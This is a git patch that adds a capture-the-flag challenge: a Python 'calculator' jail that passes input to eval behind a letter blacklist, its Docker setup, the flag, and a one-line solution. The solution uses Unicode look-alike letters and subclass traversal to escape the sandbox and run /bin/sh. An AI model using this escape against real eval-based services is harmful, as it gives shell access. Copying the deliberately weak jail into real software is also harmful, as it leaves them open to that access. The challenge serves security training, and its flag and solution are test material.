From bc189fd0b28b106d9548e54eeeac4bae80e7fdd5 Mon Sep 17 00:00:00 2001
From: garulf <garulf@autistici.org>
Date: Tue, 3 Dec 2024 14:23:50 +0100
Subject: [PATCH] chals: add __calc__

---
 calc/Dockerfile |  6 ++++++
 calc/flag.txt   |  1 +
 calc/jail.py    | 14 ++++++++++++++
 calc/sol        |  1 +
 4 files changed, 22 insertions(+)
 create mode 100644 calc/Dockerfile
 create mode 100644 calc/flag.txt
 create mode 100755 calc/jail.py
 create mode 100644 calc/sol

diff --git a/calc/Dockerfile b/calc/Dockerfile
new file mode 100644
index 0000000..69cf6de
--- /dev/null
+++ b/calc/Dockerfile
@@ -0,0 +1,6 @@
+FROM pwn.red/jail
+COPY --from=python@sha256:bc78d3c007f86dbb87d711b8b082d9d564b8025487e780d24ccb8581d83ef8b0 / /srv
+COPY jail.py /srv/app/run
+COPY flag.txt /srv/app/flag.txt
+
+ENV JAIL_PORT=1338
diff --git a/calc/flag.txt b/calc/flag.txt
new file mode 100644
index 0000000..11b0131
--- /dev/null
+++ b/calc/flag.txt
@@ -0,0 +1 @@
+HoD2024{Styl3_and_R3fl3ct10n}
diff --git a/calc/jail.py b/calc/jail.py
new file mode 100755
index 0000000..20ee5dc
--- /dev/null
+++ b/calc/jail.py
@@ -0,0 +1,14 @@
+#!/usr/bin/python3
+# py calc
+alphanumeric = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
+
+while True:
+    payload = input("I'll crunch your number, not letters!\n")
+    if (any(c in alphanumeric for c in payload)):
+        print("NO!")
+        continue
+    try:
+        print(eval(payload, {'__builtins__': {}}, {}))
+    except Exception as e:
+        print("something went wrong")
+        print(e.__class__)
diff --git a/calc/sol b/calc/sol
new file mode 100644
index 0000000..edb57ac
--- /dev/null
+++ b/calc/sol
@@ -0,0 +1 @@
+().__𝘤𝘭𝘢𝘴𝘴__.__𝘮𝘳𝘰__[1].__𝘴𝘶𝘣𝘤𝘭𝘢𝘴𝘴𝘦𝘴__()[-5].__𝘪𝘯𝘪𝘵__.__𝘨𝘭𝘰𝘣𝘢𝘭𝘴__["\163\171\163\164\145\155"]("\57\142\151\156\57\163\150")